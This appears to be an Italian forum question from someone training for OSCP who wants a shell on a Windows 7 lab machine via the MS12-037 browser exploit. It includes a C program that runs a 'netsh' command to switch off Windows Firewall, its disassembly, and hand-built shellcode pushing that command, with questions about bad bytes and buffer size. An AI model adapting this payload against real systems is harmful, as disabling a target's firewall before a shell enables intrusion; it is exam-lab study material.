Come parte della formazione del mio OSCP, dovrei ottenere una shell su una macchina Win7 utilizzando l'exploit del browser (MS12-037) con il firewall di Windows acceso.
Ho un'idea ma ho difficoltà a applicarlo.
Quello che sto cercando di fare è inserire un codice che spenga il firewall prima di eseguire lo shellcode.
Per prima cosa ho scritto un programma in C che spegne il firewall:
#include "stdlib.h"
int main ()
{
int i;
i=system ("netsh advfirewall set currentprofile state off");
return 0;
}
Poi ho compilato il programma e lo ho disassemblato, e ho ottenuto questo:
004013a0 <_main>:
4013a0: 8d 4c 24 04 lea ecx,[esp+0x4]
4013a4: 83 e4 f0 and esp,0xfffffff0
4013a7: ff 71 fc push DWORD PTR [ecx-0x4]
4013aa: 55 push ebp
4013ab: 89 e5 mov ebp,esp
4013ad: 51 push ecx
4013ae: 83 ec 14 sub esp,0x14
4013b1: e8 6a ff ff ff call 401320 <___main>
4013b6: 83 ec 0c sub esp,0xc
4013b9: 68 24 30 40 00 push 0x403024
4013be: e8 c5 01 00 00 call 401588 <_system>
4013c3: 83 c4 10 add esp,0x10
4013c6: 89 45 f8 mov DWORD PTR [ebp-0x8],eax
4013c9: b8 00 00 00 00 mov eax,0x0
4013ce: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
4013d1: c9 leave
4013d2: 8d 61 fc lea esp,[ecx-0x4]
4013d5: c3 ret
4013d6: 90 nop
4013d7: 90 nop
La parte che mi interessa è questa:
4013b6: 83 ec 0c sub esp,0xc
4013b9: 68 24 30 40 00 push 0x403024
4013be: e8 c5 01 00 00 call 401588 <_system>
4013c3: 83 c4 10 add esp,0x10
Questo è il punto in cui il programma alloca lo spazio per l'indirizzo della stringa netsh advfirewall set currentprofile state off
nello stack e lo passa a system()
e pulisce lo stack in seguito.
Voglio inserire queste istruzioni prima del mio shellcode in modo da spegnere il firewall prima che la shell di binding / reverse entri in gioco. Poiché il comando nel programma C si trova nella memoria, il programma ha dovuto inserire il suo indirizzo nello stack non la stringa effettiva.
Per far funzionare l'exploit, ho bisogno di spingere la stringa attuale sullo stack e passarla a system()
, quindi ho usato Corlean per ottenere le istruzioni che spingono la stringa effettiva nello stack.
String length : 46
Opcodes to push this string onto the stack :
"\x68\x66\x66\x20\x00" //PUSH 0x00206666
"\x68\x74\x65\x20\x6f" //PUSH 0x6f206574
"\x68\x20\x73\x74\x61" //PUSH 0x61747320
"\x68\x66\x69\x6c\x65" //PUSH 0x656c6966
"\x68\x74\x70\x72\x6f" //PUSH 0x6f727074
"\x68\x72\x72\x65\x6e" //PUSH 0x6e657272
"\x68\x74\x20\x63\x75" //PUSH 0x75632074
"\x68\x6c\x20\x73\x65" //PUSH 0x6573206c
"\x68\x65\x77\x61\x6c" //PUSH 0x6c617765
"\x68\x76\x66\x69\x72" //PUSH 0x72696676
"\x68\x68\x20\x61\x64" //PUSH 0x64612068
"\x68\x6e\x65\x74\x73" //PUSH 0x7374656e
Quindi ora devo allocare spazio per questa stringa nello stack
\x83\xEC\x41 \sub esp,65
chiama system()
\xe8\xc5\x01\x00\x00 call 401588
Quindi pulisci lo stack
\x83\xC4\x41 add esp,byte +0x41
Ho due problemi qui:
-
Le istruzioni che sto utilizzando contengono caratteri errati "00"
-
la dimensione totale delle modifiche più il codice della shell, supera la dimensione del buffer nel exploit originale
Quindi le mie domande sono:
-
Esiste una soluzione ai suddetti problemi?
-
Questo modo di risolvere il problema è corretto / fattibile?
-
Ci sono modi migliori per gestirlo?